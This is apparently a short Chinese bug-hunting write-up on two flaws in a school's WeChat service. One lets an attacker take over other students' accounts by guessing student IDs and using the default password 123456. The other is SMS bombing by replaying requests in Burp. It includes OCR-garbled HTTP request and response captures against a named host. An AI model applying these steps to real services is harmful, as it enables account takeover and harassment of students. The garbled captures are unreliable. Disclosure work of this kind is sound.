有两处漏洞
这个公众号
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第一处
1. 首先看到绑定需要用学号，然后默认密码为123456
[image: 1]
2. 去网上信息收集学号，发现18界学号1884109，可以判断规律
18是年份，841是班级，09是自己的学号
[image: 2]
3. 这边尝试修改09为08之类发现已经被注册1884109
[image: 3]
4. 所以就修改学号，成功，可以一直修改，很多账号都可以去绑定
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第二处短信轰炸，burp重放就行，不会被限制
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GET
/school/direct/students/getStudnatActivelnfo?userNam®=(8B41128paj sWord=12345
6&.collegeld=267 48:signature=%24%23%26%25Hiju 1

Host: api2. hjiuye. com

Connection: close

User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; SM-GIZEN

Build/NRDIOM. GIZENKSUTAQDC; wy) AppleWebKit/537.36 (KHTML, like Gecka)
Version/4.0 Chrome/74.0.3729.136 Mobile Safar/537 36 MMWEBIDI2793
MicroMessenger/8.0.3.1880(0x28000334) Process/appbrand2 WeChat/aim32
Weixin NetType/WIF| Language/zh_CN ABI/arm32 MiniProgramEnv/android
charset: utf8

Accept-Encading: gzip, deflate

content-type: applicationfjson

Referer. https:/fsenicewschat com/wx35602757a5449¢1/354/page-frame html

HTTP/1.1 200

Sener ngin/1 21.6

Date: Wed, 05 Oct 2022 12:10:27 GMT

Content-Type: application/json;charset=UTF-8

Connection: close

X-Content-Type-Options: nosniff

XXSS-Protection: 1; mode=block

Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache

Expires: 0
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d\re:t/smdems/getStudnetA:twe\n{n?useermﬁMDB?pzssWurd:QCiAﬁ
Jeld=2674&:signature=%24%23%26%25Hjiuy 25 P11

2 hjiuye.com

jon: close

ent: Mozilla/5.0 (Linux; Android 5.1.1; SM-GI55N

2DI0M. GISENKSUTAQDC; wy) AppleWebkKit/537.38 (KHTML, like Gecka)
4.0 Chrome/74.0.3729.136 Mobile Safari/537.36 MMWEBID/2793
ssenger/B 0.3.1880(0x28000334) Process/appbrand2 WeChat/arm32
NetType/WIFI Language/zh_CN ABI/arm32 MiniProgramEnv/android

w8

Encoding: gzip, deflate

type: application/json

https: //senicewechat.com/ws35602757 a5449¢1/354/page-frame. htmi

HTTP/1.1 200
Sener ngin/1 21.6

Date: Wed, 05 Oct 2022 12:10:40 GMT
Content-Type: application/json;charset=UTF-8
Connection: close

X-Content-Type-Options: nosniff
XXSS-Protection: 1; mode=block
Cache-Control: no-cache, no-store, max-age=
Pragma: no-cache

Expires: 0

XFrame-Options: DENY

Content-Length 63
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